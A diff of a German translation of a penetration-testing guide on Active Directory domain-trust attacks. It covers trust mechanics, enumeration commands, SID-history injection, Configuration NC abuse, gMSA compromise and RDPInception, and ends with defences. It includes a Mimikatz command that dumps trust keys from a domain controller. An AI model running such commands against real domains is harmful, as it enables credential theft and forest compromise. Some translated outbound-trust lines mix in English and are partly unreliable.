-Vorher haben wir diskutiert, wie man Privilegien eskalieren kann, wenn man **ausreichende Berechtigungen hat, um LAPS-Passwörter zu lesen**. Diese Passwörter können jedoch auch zur **Aufrechterhaltung von Persistence** verwendet werden.\
+Vorhin haben wir besprochen, wie man Privilegien eskalieren kann, wenn man **ausreichende Berechtigungen zum Lesen von LAPS-Passwörtern** hat. Diese Passwörter können jedoch auch verwendet werden, um **Persistenz** aufrechtzuerhalten.\
 Siehe:


@ -548,64 +544,64 @@ Siehe:
 laps.md
 {{#endref}}

-## Forest Privilege Escalation - Domain Trusts
+## Privilegieneskalation im Forest - Domain Trusts

-Microsoft betrachtet das **Forest** als die Sicherheitsgrenze. Das impliziert, dass **das Kompromittieren einer einzelnen Domain potenziell zum Kompromiss des gesamten Forests führen kann**.
+Microsoft betrachtet den **Forest** als die Sicherheitsgrenze. Das bedeutet, dass das **Kompromittieren einer einzelnen Domain potenziell zum Kompromittieren des gesamten Forests führen kann**.

-### Basic Information
+### Grundlegende Informationen

-Ein [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ist ein Sicherheitsmechanismus, der einem Benutzer aus einer **Domain** ermöglicht, auf Ressourcen in einer anderen **Domain** zuzugreifen. Er stellt im Wesentlichen eine Verbindung zwischen den Authentifizierungssystemen der beiden Domains her, sodass Authentifizierungsüberprüfungen nahtlos fließen können. Wenn Domains eine Trust-Beziehung einrichten, tauschen sie bestimmte **Keys** zwischen ihren **Domain Controllers (DCs)** aus und speichern diese, die für die Integrität des Trusts entscheidend sind.
+Ein [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ist ein Sicherheitsmechanismus, der einem Benutzer aus einer **Domain** den Zugriff auf Ressourcen in einer anderen **Domain** ermöglicht. Er stellt im Grunde eine Verbindung zwischen den Authentifizierungssystemen der beiden Domänen her, sodass Authentifizierungsabfragen reibungslos fließen können. Wenn Domänen eine Vertrauensstellung einrichten, tauschen sie spezifische **Keys** zwischen ihren **Domain Controllern (DCs)** aus und speichern diese, die für die Integrität der Vertrauensstellung entscheidend sind.

-In einem typischen Szenario, wenn ein Benutzer auf einen Dienst in einer **vertrauten Domain** zugreifen möchte, muss er zuerst ein spezielles Ticket, bekannt als **inter-realm TGT**, von seinem eigenen Domain-DC anfordern. Dieses TGT ist mit einem geteilten **Key** verschlüsselt, den beide Domains vereinbart haben. Der Benutzer präsentiert dieses TGT dann dem **DC der vertrauten Domain**, um ein Service-Ticket (**TGS**) zu erhalten. Nach erfolgreicher Validierung des inter-realm TGT durch den DC der vertrauten Domain stellt dieser ein TGS aus, das dem Benutzer Zugang zum Dienst gewährt.
+In einem typischen Szenario muss ein Benutzer, der auf einen Dienst in einer **vertrauenden Domain** zugreifen möchte, zuerst ein spezielles Ticket, bekannt als **inter-realm TGT**, von seinem eigenen Domain Controller anfordern. Dieses TGT ist mit einem gemeinsamen **Key** verschlüsselt, auf den sich beide Domänen geeinigt haben. Der Benutzer präsentiert dieses TGT dann dem **DC der vertrauenden Domain**, um ein Service-Ticket (**TGS**) zu erhalten. Nach erfolgreicher Validierung des inter-realm TGT durch den DC der vertrauenden Domain stellt dieser ein TGS aus, das dem Benutzer den Zugriff auf den Dienst gewährt.

 **Schritte**:

 1. Ein **Client-Computer** in **Domain 1** startet den Prozess, indem er seinen **NTLM-Hash** verwendet, um ein **Ticket Granting Ticket (TGT)** von seinem **Domain Controller (DC1)** anzufordern.
-2. DC1 stellt ein neues TGT aus, wenn der Client erfolgreich authentifiziert wurde.
-3. Der Client fordert anschließend ein **inter-realm TGT** von DC1 an, das benötigt wird, um auf Ressourcen in **Domain 2** zuzugreifen.
-4. Das inter-realm TGT ist mit einem **Trust Key** verschlüsselt, der zwischen DC1 und DC2 als Teil des wechselseitigen Domain-Trusts geteilt wird.
-5. Der Client bringt das inter-realm TGT zum **Domain Controller (DC2)** von Domain 2.
-6. DC2 verifiziert das inter-realm TGT mit seinem geteilten Trust Key und stellt, falls gültig, ein **Ticket Granting Service (TGS)** für den Server in Domain 2 aus, auf den der Client zugreifen möchte.
+2. DC1 stellt bei erfolgreicher Authentifizierung des Clients ein neues TGT aus.
+3. Der Client fordert dann ein **inter-realm TGT** von DC1 an, das benötigt wird, um Ressourcen in **Domain 2** zu erreichen.
+4. Das inter-realm TGT wird mit einem **Trust Key** verschlüsselt, der zwischen DC1 und DC2 als Teil der bidirektionalen Domain-Vertrauensstellung geteilt wird.
+5. Der Client bringt das inter-realm TGT zum **Domain Controller von Domain 2 (DC2)**.
+6. DC2 verifiziert das inter-realm TGT mit seinem gemeinsamen Trust Key und stellt, falls gültig, ein **Ticket Granting Service (TGS)** für den Server in Domain 2 aus, auf den der Client zugreifen möchte.
 7. Schließlich präsentiert der Client dieses TGS dem Server, das mit dem Hash des Server-Accounts verschlüsselt ist, um Zugriff auf den Dienst in Domain 2 zu erhalten.

-### Different trusts
+### Verschiedene Vertrauensstellungen

-Es ist wichtig zu beachten, dass **ein Trust einseitig oder zweiseitig sein kann**. Bei der zweiseitigen Option vertrauen sich beide Domains gegenseitig, aber bei der **einseitigen** Trust-Beziehung ist eine der Domains die **trusted** und die andere die **trusting** Domain. Im letzteren Fall **kannst du nur aus der trusted Domain heraus auf Ressourcen in der trusting Domain zugreifen**.
+Es ist wichtig zu beachten, dass **eine Vertrauensstellung einseitig oder zweiseitig sein kann**. In der zweiseitigen Option vertrauen beide Domänen einander, aber in der **einseitigen** Vertrauensbeziehung ist eine Domäne die **trusted** und die andere die **trusting** Domäne. In diesem Fall kannst du **nur von der trusted Domäne aus auf Ressourcen innerhalb der trusting Domäne** zugreifen.

-Wenn Domain A Domain B vertraut, ist A die trusting Domain und B die trusted. Außerdem wäre dies in **Domain A** ein **Outbound trust**; und in **Domain B** ein **Inbound trust**.
+Wenn Domain A Domain B vertraut, ist A die trusting Domain und B die trusted Domain. Zudem wäre dies in **Domain A** eine **Outbound trust**; und in **Domain B** eine **Inbound trust**.

-**Verschiedene Vertrauensbeziehungen**
+**Different trusting relationships**

- **Parent-Child Trusts**: Dies ist eine übliche Konfiguration innerhalb desselben Forests, bei der eine Child-Domain automatisch eine zweiseitige transitive Trust mit ihrer Parent-Domain hat. Im Wesentlichen bedeutet das, dass Authentifizierungsanfragen nahtlos zwischen Parent und Child fließen können.
- **Cross-link Trusts**: Als "shortcut trusts" bezeichnet, werden diese zwischen Child-Domains eingerichtet, um Referral-Prozesse zu beschleunigen. In komplexen Forests müssen Authentifizierungs-Referrals typischerweise bis zur Forest-Root und dann hinunter zur Ziel-Domain reisen. Durch das Erstellen von Cross-Links wird die Reise verkürzt, was in geografisch verteilten Umgebungen besonders vorteilhaft ist.
- **External Trusts**: Diese werden zwischen verschiedenen, nicht verbundenen Domains eingerichtet und sind von Natur aus nicht-transitiv. Laut [Microsoft's documentation](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) sind External Trusts nützlich für den Zugriff auf Ressourcen in einer Domain außerhalb des aktuellen Forests, die nicht durch einen Forest-Trust verbunden ist. Die Sicherheit wird durch SID-Filtering bei External Trusts verstärkt.
- **Tree-root Trusts**: Diese Trusts werden automatisch zwischen der Forest-Root-Domain und einer neu hinzugefügten Tree-Root hergestellt. Obwohl sie nicht häufig vorkommen, sind Tree-root Trusts wichtig, um neue Domain-Trees zu einem Forest hinzuzufügen, ihnen eine eindeutige Domain-Bezeichnung zu ermöglichen und die zweiseitige Transitivität sicherzustellen. Weitere Informationen sind in [Microsoft's guide](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) verfügbar.
- **Forest Trusts**: Diese Trust-Art ist ein zweiseitiger transitive Trust zwischen zwei Forest-Root-Domains und erzwingt ebenfalls SID-Filtering, um Sicherheitsmaßnahmen zu verstärken.
- **MIT Trusts**: Diese Trusts werden mit nicht-Windows, [RFC4120-konformen](https://tools.ietf.org/html/rfc4120) Kerberos-Domains eingerichtet. MIT Trusts sind etwas spezialisierter und richten sich an Umgebungen, die eine Integration mit Kerberos-basierten Systemen außerhalb des Windows-Ökosystems erfordern.
+- **Parent-Child Trusts**: Dies ist eine gängige Konfiguration innerhalb desselben Forests, wobei eine Child-Domain automatisch eine zweiseitige transitive Vertrauensstellung mit ihrer Parent-Domain hat. Das bedeutet im Wesentlichen, dass Authentifizierungsanfragen nahtlos zwischen Parent und Child fließen können.
+- **Cross-link Trusts**: Auch als "shortcut trusts" bezeichnet, werden diese zwischen Child-Domains eingerichtet, um Referral-Prozesse zu beschleunigen. In komplexen Forests müssen Authentifizierungs-Referrals typischerweise bis zur Forest-Root aufsteigen und dann zur Ziel-Domain absteigen. Durch das Erstellen von Cross-Links wird dieser Weg verkürzt, was besonders in geografisch verteilten Umgebungen von Vorteil ist.
+- **External Trusts**: Diese werden zwischen verschiedenen, nicht zusammenhängenden Domänen eingerichtet und sind nicht-transitiv. Laut [Microsoft-Dokumentation](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) sind externe Trusts nützlich, um auf Ressourcen in einer Domäne außerhalb des aktuellen Forests zuzugreifen, die nicht durch einen Forest Trust verbunden ist. Die Sicherheit wird durch SID-Filtering bei externen Trusts erhöht.
+- **Tree-root Trusts**: Diese Vertrauensstellungen werden automatisch zwischen der Forest-Root-Domain und einer neu hinzugefügten Tree-Root eingerichtet. Obwohl sie nicht häufig vorkommen, sind Tree-Root-Trusts wichtig, um neue Domain-Trees zu einem Forest hinzuzufügen, sodass sie einen einzigartigen Domänennamen beibehalten und Transitivität in beide Richtungen gewährleistet ist. Mehr Informationen finden sich in [Microsofts Leitfaden](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
+- **Forest Trusts**: Diese Art von Vertrauensstellung ist eine zweiseitige transitive Vertrauensstellung zwischen zwei Forest-Root-Domains und erzwingt ebenfalls SID-Filtering zur Erhöhung der Sicherheit.
+- **MIT Trusts**: Diese Vertrauensstellungen werden mit nicht-Windows, [RFC4120-konformen](https://tools.ietf.org/html/rfc4120) Kerberos-Domains aufgebaut. MIT Trusts sind etwas spezialisierter und dienen Umgebungen, die eine Integration mit Kerberos-basierten Systemen außerhalb des Windows-Ökosystems erfordern.

-#### Other differences in **trusting relationships**
+#### Weitere Unterschiede in Vertrauensbeziehungen

 - Eine Vertrauensbeziehung kann auch **transitiv** (A vertraut B, B vertraut C, dann vertraut A C) oder **nicht-transitiv** sein.
- Eine Vertrauensbeziehung kann als **bidirektionaler Trust** (beide vertrauen einander) oder als **einseitiger Trust** (nur einer vertraut dem anderen) eingerichtet werden.
+- Eine Vertrauensbeziehung kann als **bidirektional** (beide vertrauen einander) oder als **einseitig** (nur eine vertraut der anderen) eingerichtet werden.

-### Attack Path
+### Angriffspfad

-1. **Enumeriere** die Vertrauensbeziehungen
-2. Prüfe, ob irgendein **Security Principal** (Benutzer/Gruppe/Computer) **Zugriff** auf Ressourcen der **anderen Domain** hat, möglicherweise durch ACE-Einträge oder durch Mitgliedschaft in Gruppen der anderen Domain. Suche nach **Beziehungen über Domains hinweg** (vermutlich wurde der Trust dafür erstellt).
-1. kerberoast könnte in diesem Fall eine weitere Option sein.
-3. **Kompromittiere** die **Accounts**, die durch Domains **pivotieren** können.
+1. **Enumeriere** die Vertrauensstellungen
+2. Prüfe, ob irgendein **Security Principal** (Benutzer/Gruppe/Computer) **Zugriff** auf Ressourcen der **anderen Domäne** hat, eventuell durch ACE-Einträge oder durch Mitgliedschaft in Gruppen der anderen Domäne. Suche nach **Beziehungen über Domänen hinweg** (die Vertrauensstellung wurde vermutlich dafür erstellt).
+1. **kerberoast** könnte in diesem Fall eine weitere Option sein.
+3. **Kompromittiere** die **Konten**, die sich **durch Domänen pivoten** können.

-Angreifer können über drei primäre Mechanismen auf Ressourcen in einer anderen Domain zugreifen:
+Angreifer können auf Ressourcen in einer anderen Domäne über drei primäre Mechanismen zugreifen:

- **Lokale Gruppenmitgliedschaft**: Principals könnten zu lokalen Gruppen auf Maschinen hinzugefügt werden, wie der Gruppe “Administrators” auf einem Server, was ihnen erheblichen Zugriff auf diese Maschine gewährt.
- **Fremde Domain-Gruppenmitgliedschaft**: Principals können auch Mitglieder von Gruppen innerhalb der fremden Domain sein. Die Effektivität dieser Methode hängt jedoch von der Art des Trusts und dem Umfang der Gruppe ab.
- **Access Control Lists (ACLs)**: Principals könnten in einer **ACL** aufgeführt sein, insbesondere als Entitäten in **ACEs** innerhalb einer **DACL**, und ihnen so Zugriff auf spezifische Ressourcen gewähren. Für tiefergehende Informationen zu den Mechaniken von ACLs, DACLs und ACEs ist das Whitepaper “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” eine unschätzbare Ressource.
+- **Local Group Membership**: Principals können lokalen Gruppen auf Maschinen hinzugefügt werden, wie z. B. der “Administrators”-Gruppe auf einem Server, was ihnen umfangreiche Kontrolle über diese Maschine gewährt.
+- **Foreign Domain Group Membership**: Principals können auch Mitglieder von Gruppen in der fremden Domäne sein. Die Effektivität dieser Methode hängt jedoch von der Natur des Trusts und dem Umfang der Gruppe ab.
+- **Access Control Lists (ACLs)**: Principals können in einer **ACL** spezifiziert sein, insbesondere als Entitäten in **ACEs** innerhalb einer **DACL**, die ihnen Zugriff auf bestimmte Ressourcen gewähren. Für ein tieferes Verständnis der Mechanik von ACLs, DACLs und ACEs ist das Whitepaper “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” eine wertvolle Ressource.

-### Find external users/groups with permissions
+### Externe Benutzer/Gruppen mit Berechtigungen finden

-Du kannst **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** prüfen, um fremde Security Principals in der Domain zu finden. Diese sind Benutzer/Gruppen aus **einer externen Domain/Forest**.
+Du kannst **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** prüfen, um fremde Security Principals in der Domain zu finden. Dies werden Benutzer/Gruppen aus **einer externen Domäne/einem externen Forest** sein.

-Du kannst dies in **Bloodhound** oder mit powerview prüfen:
+Du kannst dies in **Bloodhound** oder mit **powerview** prüfen:
 ```powershell
 # Get users that are i groups outside of the current domain
 Get-DomainForeignUser
@ -626,7 +622,7 @@ TrustDirection  : Bidirectional       --> Trust direction (2ways in this case)
 WhenCreated     : 2/19/2021 1:28:00 PM
 WhenChanged     : 2/19/2021 1:28:00 PM
 ```
-Weitere Möglichkeiten, Domänen-Vertrauensstellungen zu enumerieren:
+Weitere Möglichkeiten, domain trusts zu enumerate:
 ```bash
 # Get DCs
 nltest /dsgetdc:<DOMAIN>
@ -640,7 +636,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
 ```
 > [!WARNING]
 > Es gibt **2 trusted keys**, einen für _Child --> Parent_ und einen weiteren für _Parent_ --> _Child_.\
-> Sie können den von der aktuellen Domain verwendeten Schlüssel mit den folgenden Befehlen anzeigen:
+> Du kannst denjenigen, der von der aktuellen Domain verwendet wird, mit folgendem herausfinden:
 >
 > ```bash
 > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -649,7 +645,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts

 #### SID-History Injection

-Als Enterprise Admin in die child/parent domain eskalieren, indem die Trust-Beziehung mit SID-History Injection ausgenutzt wird:
+Als Enterprise-Admin in die Child-/Parent-Domain eskalieren, indem man den Trust mit SID-History injection ausnutzt:


 {{#ref}}
@ -658,26 +654,26 @@ sid-history-injection.md

 #### Exploit writeable Configuration NC

-Es ist entscheidend zu verstehen, wie die Configuration Naming Context (NC) ausgenutzt werden kann. Die Configuration NC dient als zentrales Repository für Konfigurationsdaten innerhalb eines AD forest. Diese Daten werden an jeden Domain Controller (DC) im Forest repliziert; writable DCs behalten eine beschreibbare Kopie der Configuration NC. Um dies auszunutzen, benötigt man **SYSTEM-Rechte auf einem DC**, vorzugsweise auf einem Child-DC.
+Das Verständnis, wie der Configuration Naming Context (NC) ausgenutzt werden kann, ist entscheidend. Der Configuration NC dient in Active Directory (AD)-Umgebungen als zentrales Repository für Konfigurationsdaten über einen Forest hinweg. Diese Daten werden an jeden Domain Controller (DC) innerhalb des Forest repliziert; writable DCs halten eine beschreibbare Kopie des Configuration NC. Um dies auszunutzen, benötigt man **SYSTEM privileges on a DC**, vorzugsweise einen child DC.

 **Link GPO to root DC site**

-Der Sites-Container der Configuration NC enthält Informationen über die Sites aller domain-joined computers im AD forest. Mit SYSTEM-Rechten auf einem beliebigen DC können Angreifer GPOs mit den root DC sites verknüpfen. Diese Aktion kann das Root-Domain kompromittieren, indem Policies manipuliert werden, die auf diese Sites angewendet werden.
+Der Sites-Container des Configuration NC enthält Informationen über die Sites aller domain-joined Computer im AD-Forest. Mit SYSTEM-Privilegien auf einem beliebigen DC können Angreifer GPOs an die root DC sites linken. Diese Aktion kann die root domain kompromittieren, indem die auf diese Sites angewendeten Richtlinien manipuliert werden.

-Für detailliertere Informationen kann man die Forschung zu [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) heranziehen.
+Für ausführlichere Informationen kann man die Forschung zu [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) heranziehen.

 **Compromise any gMSA in the forest**

-Ein Angriffsvektor zielt auf privilegierte gMSAs innerhalb der Domain ab. Der KDS Root key, der für die Berechnung der Passwörter von gMSAs notwendig ist, wird in der Configuration NC gespeichert. Mit SYSTEM-Rechten auf einem DC ist es möglich, auf den KDS Root key zuzugreifen und die Passwörter für beliebige gMSAs im Forest zu berechnen.
+Ein Angriffsvektor zielt auf privilegierte gMSAs innerhalb der Domain. Der KDS Root key, der für die Berechnung der Passwörter von gMSAs essenziell ist, wird im Configuration NC gespeichert. Mit SYSTEM-Privilegien auf einem beliebigen DC ist es möglich, auf den KDS Root key zuzugreifen und die Passwörter für beliebige gMSAs im Forest zu berechnen.

-Detaillierte Analysen und Schritt-für-Schritt-Anleitungen finden sich in:
+Detaillierte Analysen und Schritt-für-Schritt-Anleitungen findet man in:


 {{#ref}}
 golden-dmsa-gmsa.md
 {{#endref}}

-Komplementärer delegated MSA-Angriff (BadSuccessor – abusing migration attributes):
+Komplementärer delegierter MSA-Angriff (BadSuccessor – Missbrauch von Migration-Attributen):


 {{#ref}}
@ -688,15 +684,15 @@ Weitere externe Forschung: [Golden gMSA Trust Attacks](https://improsec.com/tech

 **Schema change attack**

-Diese Methode erfordert Geduld und das Warten auf die Erstellung neuer privilegierter AD-Objekte. Mit SYSTEM-Rechten kann ein Angreifer das AD Schema ändern, um jedem Benutzer volle Kontrolle über alle Klassen zu gewähren. Das kann zu unautorisiertem Zugriff und Kontrolle über neu erstellte AD-Objekte führen.
+Diese Methode erfordert Geduld und das Abwarten der Erstellung neuer privilegierter AD-Objekte. Mit SYSTEM-Privilegien kann ein Angreifer das AD Schema so verändern, dass jedem Benutzer vollständige Kontrolle über alle Klassen gewährt wird. Dies kann zu unbefugtem Zugriff und Kontrolle über neu erstellte AD-Objekte führen.

 Weiterführende Informationen sind verfügbar unter [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).

 **From DA to EA with ADCS ESC5**

-Die ADCS ESC5-Schwachstelle zielt auf die Kontrolle über PKI-Objekte ab, um ein Zertifikattemplate zu erstellen, das die Authentifizierung als beliebiger Benutzer im Forest ermöglicht. Da PKI-Objekte in der Configuration NC liegen, ermöglicht das Kompromittieren eines writable Child-DC die Durchführung von ESC5-Angriffen.
+Die ADCS ESC5-Schwachstelle zielt darauf ab, Kontrolle über Public Key Infrastructure (PKI)-Objekte zu erlangen, um ein Zertifikattemplate zu erstellen, das die Authentifizierung als beliebiger Benutzer im Forest ermöglicht. Da PKI-Objekte im Configuration NC liegen, erlaubt die Kompromittierung eines writable child DC die Durchführung von ESC5-Angriffen.

-Mehr Details dazu finden sich in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In Umgebungen ohne ADCS kann ein Angreifer die notwendigen Komponenten selbst einrichten, wie in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) erläutert.
+Weitere Details dazu finden sich in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In Szenarien ohne ADCS kann der Angreifer die notwendigen Komponenten selbst einrichten, wie in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) beschrieben.

 ### External Forest Domain - One-Way (Inbound) or bidirectional
 ```bash
@ -709,13 +705,13 @@ TrustDirection  : Inbound          --> Inboud trust
 WhenCreated     : 2/19/2021 10:50:56 PM
 WhenChanged     : 2/19/2021 10:50:56 PM
 ```
-In diesem Szenario wird **Ihre Domain von einer externen Domain vertraut**, wodurch Ihnen **nicht näher bestimmte Berechtigungen** darauf gewährt werden. Sie müssen herausfinden, **welche Prinzipale Ihrer Domain welche Zugriffsrechte auf die externe Domain haben**, und dann versuchen, diese auszunutzen:
+In diesem Szenario ist **deine Domäne von einer externen Domäne vertraut** und erhält dadurch **unbestimmte Berechtigungen** über diese. Du musst herausfinden, **welche principals deiner Domäne welche Zugriffsrechte auf die externe Domäne haben**, und dann versuchen, diese auszunutzen:

 {{#ref}}
 external-forest-domain-oneway-inbound.md
 {{#endref}}

-### Externe Forest-Domain - Einseitig (Outbound)
+### Externe Forest-Domäne - Einweg (Outbound)
 ```bash
 Get-DomainTrust -Domain current.local

@ -727,36 +723,36 @@ TrustDirection  : Outbound        --> Outbound trust
 WhenCreated     : 2/19/2021 10:15:24 PM
 WhenChanged     : 2/19/2021 10:15:24 PM
 ```
-In diesem Szenario vertraut **deine Domäne** einigen **Privilegien** an einen **principal** aus **einer anderen Domäne**.
+In diesem Szenario vertraut **your domain** bestimmten **privileges** gegenüber einem Principal aus **different domains**.

-Allerdings, wenn eine **Domäne vom vertrauenden Domäne** vertraut wird, erstellt die vertrauende Domäne einen **Benutzer** mit einem **vorhersehbaren Namen**, der als **Passwort das Trusted Password** verwendet. Das bedeutet, dass es möglich ist, **einen Benutzer aus der vertrauenden Domäne zu verwenden, um in die vertraute Domäne zu gelangen**, diese zu enumerieren und zu versuchen, weitere Privilegien zu eskalieren:
+Allerdings, wenn eine **domain is trusted** von der vertrauenden Domain, erstellt die vertrauenswürdige Domain **creates a user** mit einem **predictable name**, der als **password the trusted password** verwendet. Das bedeutet, dass es möglich ist, **access a user from the trusting domain to get inside the trusted one** um diese zu enumerieren und weitere Privilegien zu eskalieren:


 {{#ref}}
 external-forest-domain-one-way-outbound.md
 {{#endref}}

-Eine andere Möglichkeit, die vertraute Domäne zu kompromittieren, besteht darin, einen [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) zu finden, der in die **entgegengesetzte Richtung** des Domain-Trusts erstellt wurde (was nicht sehr häufig vorkommt).
+Eine weitere Möglichkeit, die vertrauenswürdige Domain zu kompromittieren, ist das Finden eines [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links), das in die **opposite direction** der Domain-Trusts erstellt wurde (was nicht sehr häufig ist).

-Eine weitere Möglichkeit, die vertraute Domäne zu kompromittieren, besteht darin, auf einem Rechner zu warten, auf dem ein **Benutzer aus der vertrauten Domäne** per **RDP** zugreifen kann. Dann könnte der Angreifer Code in den RDP-Session-Prozess injizieren und von dort auf die **ursprüngliche Domäne des Opfers** zugreifen.\
-Außerdem, wenn das **Opfer seine Festplatte eingebunden** hat, könnte der Angreifer vom **RDP-Session**-Prozess aus **Backdoors** im **Autostart-Ordner der Festplatte** ablegen. Diese Technik wird **RDPInception** genannt.
+Eine andere Methode, die vertrauenswürdige Domain zu kompromittieren, ist es, auf einer Maschine zu warten, auf die sich ein **user from the trusted domain can access** via **RDP** einloggen kann. Dann könnte der Angreifer Code in den RDP-Session-Prozess injizieren und von dort **access the origin domain of the victim**.\
+Zudem, wenn der **victim mounted his hard drive**, könnte der Angreifer aus dem **RDP session**-Prozess **backdoors** im **startup folder of the hard drive** ablegen. Diese Technik nennt sich **RDPInception.**


 {{#ref}}
 rdp-sessions-abuse.md
 {{#endref}}

-### Missbrauch von Domain-Trusts — Gegenmaßnahmen
+### Maßnahmen gegen Missbrauch von Domain-Trusts

 ### **SID Filtering:**

- Das Risiko von Angriffen, die das SID-History-Attribut über Forest-Trusts ausnutzen, wird durch SID Filtering gemindert, das standardmäßig bei allen Inter-Forest-Trusts aktiviert ist. Dies basiert auf der Annahme, dass Intra-Forest-Trusts sicher sind, wobei der Forest und nicht die Domäne als Sicherheitsgrenze betrachtet wird, gemäß der Sichtweise von Microsoft.
- Es gibt jedoch einen Haken: SID Filtering kann Anwendungen und Benutzerzugriffe stören, was dazu führt, dass es gelegentlich deaktiviert wird.
+- Das Risiko von Angriffen, die das SID history-Attribut über forest trusts ausnutzen, wird durch SID Filtering gemindert, das standardmäßig auf allen inter-forest trusts aktiviert ist. Dies beruht auf der Annahme, dass intra-forest trusts sicher sind, wobei der forest anstelle der domain als Sicherheitsgrenze betrachtet wird, entsprechend der Stellungnahme von Microsoft.
+- Allerdings gibt es einen Haken: SID Filtering kann Anwendungen und Benutzerzugriffe stören, weshalb es gelegentlich deaktiviert wird.

 ### **Selective Authentication:**

- Für Inter-Forest-Trusts stellt Selective Authentication sicher, dass Benutzer aus den beiden Forests nicht automatisch authentifiziert werden. Stattdessen sind explizite Berechtigungen erforderlich, damit Benutzer auf Domänen und Server innerhalb der vertrauenden Domäne oder des Forests zugreifen können.
- Es ist wichtig zu beachten, dass diese Maßnahmen nicht vor der Ausnutzung des beschreibbaren Configuration Naming Context (NC) oder vor Angriffen auf das Trust-Konto schützen.
+- Für inter-forest trusts sorgt Selective Authentication dafür, dass Benutzer aus den beiden Forests nicht automatisch authentifiziert werden. Stattdessen sind explizite Berechtigungen erforderlich, damit Benutzer auf Domains und Server innerhalb der trusting domain oder des Forests zugreifen können.
+- Es ist wichtig zu beachten, dass diese Maßnahmen nicht vor der Ausnutzung des writable Configuration Naming Context (NC) oder vor Angriffen auf das trust account schützen.

 [**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)

@ -767,35 +763,35 @@ rdp-sessions-abuse.md
 https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
 {{#endref}}

-## Allgemeine Verteidigungsmaßnahmen
+## Einige allgemeine Verteidigungsmaßnahmen

 [**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)

-### **Verteidigungsmaßnahmen zum Schutz von Anmeldeinformationen**
+### **Defensive Measures for Credential Protection**

- **Einschränkungen für Domain Admins**: Es wird empfohlen, dass Domain Admins sich nur an Domain Controllers anmelden dürfen und nicht auf anderen Hosts verwendet werden.
- **Bereiche für Service Accounts**: Dienste sollten nicht mit Domain Admin (DA) Privilegien ausgeführt werden, um die Sicherheit zu wahren.
- **Zeitliche Einschränkung von Privilegien**: Für Aufgaben, die DA-Privilegien erfordern, sollte deren Dauer begrenzt werden. Dies kann z. B. erreicht werden durch: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
+- **Domain Admins Restrictions**: Es wird empfohlen, dass Domain Admins sich nur an Domain Controllers anmelden dürfen und nicht auf anderen Hosts verwendet werden.
+- **Service Account Privileges**: Dienste sollten nicht mit Domain Admin (DA)-Rechten ausgeführt werden, um die Sicherheit zu gewährleisten.
+- **Temporal Privilege Limitation**: Für Aufgaben, die DA-Privilegien erfordern, sollte die Dauer dieser Privilegien begrenzt werden. Dies kann erreicht werden mit: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`

-### **Implementierung von Deception-Techniken**
+### **Implementing Deception Techniques**

- Die Implementierung von Deception umfasst das Stellen von Fallen, wie Decoy-User oder -Computer, mit Eigenschaften wie Passwörtern, die nicht ablaufen, oder die als Trusted for Delegation markiert sind. Ein detaillierter Ansatz umfasst das Erstellen von Benutzern mit spezifischen Rechten oder das Hinzufügen zu hochprivilegierten Gruppen.
- Ein praktisches Beispiel beinhaltet die Verwendung von Tools wie: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Mehr zur Implementierung von Deception-Techniken findet sich bei [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
+- Implementierung von Deception beinhaltet das Aufstellen von Fallen, wie beispielsweise decoy users oder computers, mit Eigenschaften wie Passwörtern, die nicht ablaufen, oder die als Trusted for Delegation markiert sind. Ein detaillierter Ansatz umfasst das Erstellen von Benutzern mit spezifischen Rechten oder das Hinzufügen zu hochprivilegierten Gruppen.
+- Ein praktisches Beispiel verwendet Tools wie: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
+- Mehr zur Bereitstellung von Deception-Techniken findet sich unter [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).

-### **Identifizierung von Deception**
+### **Identifying Deception**

